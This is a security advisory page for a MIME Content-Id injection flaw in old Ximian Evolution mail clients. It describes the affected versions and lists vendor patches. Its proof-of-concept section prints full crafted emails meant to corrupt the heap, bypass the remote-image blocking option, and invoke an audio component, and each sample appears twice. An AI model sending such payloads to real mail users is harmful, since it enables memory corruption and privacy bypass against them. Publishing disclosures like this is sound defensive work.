Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
BID:7119
Info
Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
| Bugtraq ID: | 7119 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0130 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 19 2003 12:00AM |
| Updated: | Jul 11 2009 09:06PM |
| Credit: | Discovered by Diego Kelyacoubian, Javier Kohen, Alberto Solino, and Juan Vera of Core Security Technologies. |
| Vulnerable: |
Ximian Evolution 1.2.2 Ximian Evolution 1.2.1 Ximian Evolution 1.2 Ximian Evolution 1.1.1 Ximian Evolution 1.0.8 Ximian Evolution 1.0.7 Ximian Evolution 1.0.6 Ximian Evolution 1.0.5 Ximian Evolution 1.0.4 Ximian Evolution 1.0.3 |
| Not Vulnerable: |
Ximian Evolution 1.2.3 |
Discussion
Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.
Ximian Evolution does not properly validate MIME image/* Content-Type fields. If an email message contains an image/* Content-Type, any type of data can be embedded where the image information is expected. This can be used to embed HTML tags that will be rendered by GTKHtml, bypass policies, or invoke bonobo components to handle external content types.
Exploit / POC
Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
The following example will cause heap corruption:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello
Hello World!
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
The following example will bypass the "Don't connect to remote hosts to fetch images" option:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart
<img src="http://external.host.com:anyport">
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
The following example will cause Evolution to invoke the bonobo-audio-ulaw component:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong
There she was, just walking down the street...
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
The following example will cause heap corruption:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello
Hello World!
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
The following example will bypass the "Don't connect to remote hosts to fetch images" option:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart
<img src="http://external.host.com:anyport">
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
The following example will cause Evolution to invoke the bonobo-audio-ulaw component:
>From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong
There she was, just walking down the street...
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
Solution / Fix
Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
Solution:
Red Hat has released a security advisory (RHSA-2003:108-01) which contains fixes for this issue. Users are advised to upgrade as soon as possible.
The appropriate fixes have been applied to the Evolution CVS tree.
Ximian has reported that Evolution 1.2.3 will be released however, it does not appear to be available at this time. Users are advised to monitor the Ximian Evolution release page for further information.
Conectiva Linux has released an advisory. Affected users are advised to upgrade to new versions of Evolution. Further information about obtaining and applying fixes are available in the referenced advisory.
Ximian Evolution 1.0.3
Ximian Evolution 1.0.8
Ximian Evolution 1.2.2
Solution:
Red Hat has released a security advisory (RHSA-2003:108-01) which contains fixes for this issue. Users are advised to upgrade as soon as possible.
The appropriate fixes have been applied to the Evolution CVS tree.
Ximian has reported that Evolution 1.2.3 will be released however, it does not appear to be available at this time. Users are advised to monitor the Ximian Evolution release page for further information.
Conectiva Linux has released an advisory. Affected users are advised to upgrade to new versions of Evolution. Further information about obtaining and applying fixes are available in the referenced advisory.
Ximian Evolution 1.0.3
-
Conectiva evolution-1.0.3-6U80_2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/evolution-1.0.3-6U80_2cl.i3 86.rpm -
Conectiva evolution-devel-1.0.3-6U80_2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/evolution-devel-1.0.3-6U80_ 2cl.i386.rpm -
Conectiva evolution-devel-static-1.0.3-6U80_2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/evolution-devel-static-1.0. 3-6U80_2cl.i386.rpm
Ximian Evolution 1.0.8
-
Mandrake evolution-1.0.8-3.1mdk.i586.rpm
Mandrake Linux 9.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake evolution-pilot-1.0.8-3.1mdk.i586.rpm
Mandrake Linux 9.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-1.0.8-3.1mdk.i586.rpm
Mandrake Linux 9.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-devel-1.0.8-3.1mdk.i586.rpm
Mandrake Linux 9.0
http://www.mandrakesecure.net/en/ftp.php -
Red Hat evolution-1.0.8-11.i386.rpm
Red Hat Linux 8.0
ftp://updates.redhat.com/8.0/en/os/i386/evolution-1.0.8-11.i386.rpm -
Red Hat evolution-1.0.8-9.7x.i386.rpm
Red Hat Linux 7.3
ftp://updates.redhat.com/7.3/en/os/i386/evolution-1.0.8-9.7x.i386.rpm -
Red Hat gal-0.19.2-3.7x.i386.rpm
Red Hat Linux 7.3
ftp://updates.redhat.com/7.3/en/os/i386/gal-0.19.2-3.7x.i386.rpm -
Red Hat gal-devel-0.19.2-3.7x.i386.rpm
Red Hat Linux 7.3
ftp://updates.redhat.com/7.3/en/os/i386/gal-devel-0.19.2-3.7x.i386.rpm -
Red Hat libgal19-0.19.2-3.7x.i386.rpm
Red Hat Linux 7.3
ftp://updates.redhat.com/7.3/en/os/i386/libgal19-0.19.2-3.7x.i386.rpm
Ximian Evolution 1.2.2
-
Mandrake evolution-1.2.4-1.1mdk.i586.rpm
Mandrake Linux 9.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake evolution-1.2.4-1.1mdk.ppc.rpm
Mandrake Linux 9.1/PPC
http://www.mandrakesecure.net/en/ftp.php -
Mandrake evolution-pilot-1.2.4-1.1mdk.i586.rpm
Mandrake Linux 9.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake evolution-pilot-1.2.4-1.1mdk.ppc.rpm
Mandrake Linux 9.1/PPC
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-1.2.4-1.1mdk.i586.rpm
Mandrake Linux 9.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-1.2.4-1.1mdk.ppc.rpm
Mandrake Linux 9.1/PPC
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-devel-1.2.4-1.1mdk.i586.rpm
Mandrake Linux 9.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libevolution0-devel-1.2.4-1.1mdk.ppc.rpm
Mandrake Linux 9.1/PPC
http://www.mandrakesecure.net/en/ftp.php -
Red Hat evolution-1.2.2-5.i386.rpm
Red Hat Linux 9.0
ftp://updates.redhat.com/9/en/os/i386/evolution-1.2.2-5.i386.rpm
References
Ximian Evolution MIME image/* Content-Type Data Inclusion Vulnerability
References:
References:
- Ximian Evolution Product Page (Ximian)